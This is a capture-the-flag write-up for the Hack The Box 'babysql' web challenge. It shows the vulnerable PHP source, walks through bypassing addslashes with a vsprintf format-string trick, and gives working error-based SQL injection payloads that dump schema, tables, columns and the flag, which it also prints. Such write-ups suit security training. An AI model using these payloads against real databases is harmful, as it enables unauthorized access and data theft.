babysql | HTB Web Challenge

HTB Web Challenge babysql Writeup

HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled.png

Source Code

<?php require 'config.php';

class db extends Connection {
    public function query($sql) {
        $args = func_get_args();
        unset($args[0]);
        return parent::query(vsprintf($sql, $args));
    }
}

$db = new db();

if (isset($_POST['pass'])) {
    $pass = addslashes($_POST['pass']);
    $db->query("SELECT * FROM users WHERE password=('$pass') AND username=('%s')", 'admin');
} else {
    die(highlight_file(__FILE__,1));
}
  • We can see that our query and ‘admin’ is being passed to the vsprintf function and that is being sent to mysql server for query
  • We can inject the $pass after sanitization using addslashes() function.
  • Playing a little bit with php-7.4
php > echo vsprintf("Hello %s, my name is %1$\'",['admin']);
Hello admin, my name is '
php > echo vsprintf("Hello %s, my name is %1$s",['admin']);

Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("Hello %$1s, my name is %1$s",['admin']);

Warning: vsprintf(): Argument number must be greater than zero in php shell code on line 1
php >
php > echo vsprintf("SELECT * FROM users WHERE password=('') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('ND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$s') AND username=('%s')", ['admin']);

Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$s') AND username=('%1$s')", ['admin']);

Warning: vsprintf(): Too few arguments in php shell code on line 1
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$'') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=(' AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\'') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=(''') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\')') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('')') AND username=('admin')
php > echo vsprintf("SELECT * FROM users WHERE password=('%1$\');#') AND username=('%s')", ['admin']);
SELECT * FROM users WHERE password=('');#') AND username=('admin')
php >
  • we can bypass the addslashes function using the payload %1$\');$

  • now we can inject SQL in between but still we can’t get any output.

  • We can use Error based SQLI and use extract value function to get output in the errors itself as the errors are enabled on the server.

  • This payload fetches the version of the mysql server. pass=%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),version(),CHAR(126))))#

    HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled%201.png

  • Now we can start extracting the schema name.

  • This query fetches the schema name. %1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+concat(CHAR(126),schema_name,CHAR(126))+FROM+information_schema.schemata+limit+3,1),CHAR(126))))#

    HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled%202.png

  • Now in order to filter the tables we have to specify from which schema we want the tables.

  • We can use REGEXP for that.

  • This payload fetches the table name from the database db_m432

    pass=%1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+group_concat(CHAR(126),TABLE_NAME,CHAR(126))+FROM+information_schema.TABLES+where+table_schema+REGEXP+0x64625f6d343132),CHAR(126))))# 
    

    HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled%203.png

  • Now we can get the column names for the table totally_not_a_flag

  • This payload fetches the column name from the table

    %1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(SELECT+group_concat(CHAR(126),column_name,CHAR(126))+FROM+information_schema.columns+WHERE+table_name+REGEXP+0x746f74616c6c795f6e6f745f615f666c6167),CHAR(126))))#
    

    HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled%204.png

  • Now we can select the flag using the payload %1$\')+UNION+SELECT+%40,(extractvalue(rand(),concat(CHAR(126),(select+flag+from+totally_not_a_flag),CHAR(126))))#

    HTB%20WEB%20babysql%20e8e8db8869d04952bf0c219ff98c96ca/Untitled%205.png

    The flag is HTB{h0w_d1d_y0u_f1nd_m3?}

Security Engineer

I am a passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

Related